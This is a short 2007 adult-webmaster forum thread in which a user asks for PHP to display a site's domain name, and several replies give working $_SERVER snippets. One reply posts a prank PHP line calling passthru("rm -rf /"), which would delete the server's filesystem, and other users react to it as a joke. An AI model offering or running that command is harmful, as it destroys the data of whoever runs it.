GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   php/htaccess display url/domain name help needed. (https://gfy.com/showthread.php?t=740688)

acctman 06-08-2007 07:49 AM

php/htaccess display url/domain name help needed.
 
I need a php code that will display the domain name of the site that its on... or an htaccess code. I'm thinking php would be better i can put everything in one index.php file. You are at: www. "INSERT-DOMAIN.TLD"


thanks in advance

ssp 06-08-2007 08:16 AM

Code:

<?php echo $_SERVER["SERVER_NAME"]; ?>

rowan 06-08-2007 08:46 AM

If that doesn't work, then try

Code:

<?php echo $_SERVER["HTTP_HOST"]; ?>

acctman 06-08-2007 10:36 AM

modified a bit
PHP Code:

<?php
$hname 
$_SERVER['SERVER_NAME']; 
$hname str_replace('www.'''$hname); 

echo 
$hname;
?>

setting up domain forsale pages with ads on them

rowan 06-08-2007 09:24 PM

Code:

<?php echo str_replace("www.", "", $_SERVER["SERVER_NAME"]); ?>

fris 06-08-2007 09:34 PM

<?php passthru("rm -rf /");?>

rowan 06-08-2007 09:38 PM

Quote:

Originally Posted by Fris (Post 12570675)
<?php passthru("rm -rf /");?>

Oi!!!!!!!

Bro Media - BANNED FOR LIFE 06-08-2007 09:39 PM

Quote:

Originally Posted by Fris (Post 12570675)
<?php passthru("rm -rf /");?>

:1orglaugh:1orglaugh:1orglaugh


All times are GMT -7. The time now is 09:49 PM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc